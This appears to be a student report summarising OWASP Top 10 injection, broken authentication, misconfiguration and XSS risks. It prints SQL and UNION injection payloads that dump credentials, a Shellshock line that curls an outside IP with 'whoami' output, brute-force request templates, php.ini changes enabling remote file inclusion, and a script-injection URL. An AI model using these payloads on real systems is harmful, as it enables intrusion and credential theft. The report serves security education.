Vulnerabilities Report - OWASP Research Assignment 12

A1: 2017 – Injections

Injections –untrusted data is sent as part of a command or query; an interpreter is tricked into executing unintended commands enabling the attacker to gain unauthorized access to data. Injection attacks can result in data loss, denial of access, corruption and sometimes lead to complete host takeover.

How it works:

Almost any data source can be an injection vector for these attacks; either as part of a command or query. An attacker will identify services they can connect to and then inject a payload in order to compromise the application. Injection vulnerabilities are often found in SQL, LDAP, XPath, or NoSQL queries, OS commands, XML parsers, SMTP headers, expression languages, and ORM queries.

Example for constructing a SQL injection payload:

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

In both cases, the attacker modifies the 'id' parameter value in their browser to send: ' or '1'='1.

For example:

http://example.com/app/accountView?id=' or '1'='1

This changes the meaning of both queries to return all the records from the accounts table. More dangerous attacks could modify or delete data, or even invoke stored procedures.

Scenario:

```
TODO: Explain the UNION injection in the following URL: <
http://ptl-
f99df351-3bdd4c8f.libcurl.so/cat.php?id=1%20UNION%20SELECT
%201,concat(login,%27:%27,password),3,4%20FROM%20users
```

The SQL UNION operator combines the results of two or more SELECT statements or queries into a distinct single result set which includes all the rows that belong to the queries. Any duplicates are removed. In this scenario, the injection runs the cat.php file and then pulls the login and password info from the user table.

SQL injection attacks differ from command injection attacks, in that commands are injected into a targeted database, whereas command injection allows the attacks to inject shell commands in the host OS running the website.

Example:

```
() { :;}; /bin/bash -c "curl
http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\`whoami\`"
```

In this example the user data is not strictly validated, so an attacker can use shell characters to modify the command that is executed and inject arbitrary further commands that will be executed by the server. A way to mitigate this is to validate user data and avoid incorporating user-controllable data into OS commands.

A2: 2017 – Broken Authentication

Broken Authentication – when application functions related to authentication and session management are not implemented correctly, attackers are able to compromise passwords, keys, session tokens and/or assume other users' identities.

How it works:
Attackers can detect broken authentication using manual means and exploit them using automated tools with password lists and dictionary attacks. An example is credential sniffing; a technique that uses a list of known passwords and traffic monitoring to discover a victims' credentials.

Scenario:
Another example of broken authentication is preformed through a Brute Force attack.

Raw request:

```
GET /vulnerabilities/brute/?username=&password=&Login=Login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0)
Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/vulnerabilities/brute/
Cookie: PHPSESSID=it880qoi3g0op3n5dntdruuop4; security=low
Upgrade-Insecure-Requests: 1
```

Intruder request:

```
GET /vulnerabilities/brute/?username=§§&password=§§&Login=Login
HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0)
Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

```
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/vulnerabilities/brute/
Cookie: PHPSESSID=it880qoi3g0op3n5dntdruuop4; security=low
Upgrade-Insecure-Requests:
```

Valid response:

```
HTTP/1.1 200 OK
Date: Thu, 16 Mar 2020 21:28:09 GMT
Server: Apache/2.4.25 (Debian)
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 4413
Connection: close
Content-Type: text/html;charset=utf-8
```

A6: 2017 – Security Misconfiguration

Security Misconfiguration – attackers will often attempt to exploit unpatched flaws or access default accounts, unused pages, directories etc. to gain unauthorized access or knowledge of the system. This is often a result of insecure default configurations, incomplete configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information.

Example:
A cloud service provider has default sharing permissions open to the Internet by other CSP users. This allows sensitive data stored within cloud storage to be accessed.

How it works
Security misconfiguration can happen at any level, including the network services, platform, web server, application server, database, frameworks, custom code, and pre-installed virtual machines, containers, or storage.

- **allow_url_fopen** – "enables the URL-aware open wrappers that enable accessing URL objects like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers."
- **allow_url_include** – "allows the use of URL-aware open wrappers with the following functions: include, include_once, require, require_once"
- In order for an RFI to be successful, two functions in php's configuration file have to be set allow_url_fopen and allow_url_include both need to be 'On'

Scenario
`php// sudo nano /etc/php5/cgi/php.ini --> ctrl+W --> search for allow_url --> change to ON`

A7: 2017 – Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) – occur whenever an application includes untrusted data in a new web page without proper validation or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim's browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

Reflected XSS: The application includes unvalidated and unescaped user input as part of HTML output. The attacker is able to execute arbitrary HTML and JavaScript in the victim's browser. The user will need to interact with some malicious link that points to an attacker-controlled page, such as malicious watering hole websites, advertisements, or similar.

Stored XSS: The application/API stores unsanitized user input that is viewed at a later time by another user or an administrator. Stored XSS is often considered a high or critical risk.

DOM XSS: JavaScript frameworks, single-page applications, and APIs that dynamically include attacker-controllable data to a page are vulnerable to DOM XSS. These attacks include session stealing, account takeover, attacks against the user's browser, key logging, and other client-side attacks.

How it works:

Reflected cross-site scripting occurs when an application receives an HTTP request and includes that data within the response, however in a way that is malicious and "echoed" back. For instance, a website has a search function which receives the user-supplied search term in a URL parameter:

```
https://insecure-website.com/search?term=gift
```

The application echoes the supplied search term in the response to this URL:

```
<p>You searched for: gift</p>
```

Scenario:

Assuming the application does not perform any other processing of the data, an attacker can construct a malicious payload like this:

```
https://insecure-
website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>
```

This URL results in the following response:

```
<p>You searched for: <script>/* Bad stuff here... */</script></p>
```

References

https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf

https://github.com/payloadbox/command-injection-payload-list

https://portswigger.net/web-security/cross-site-scripting/reflected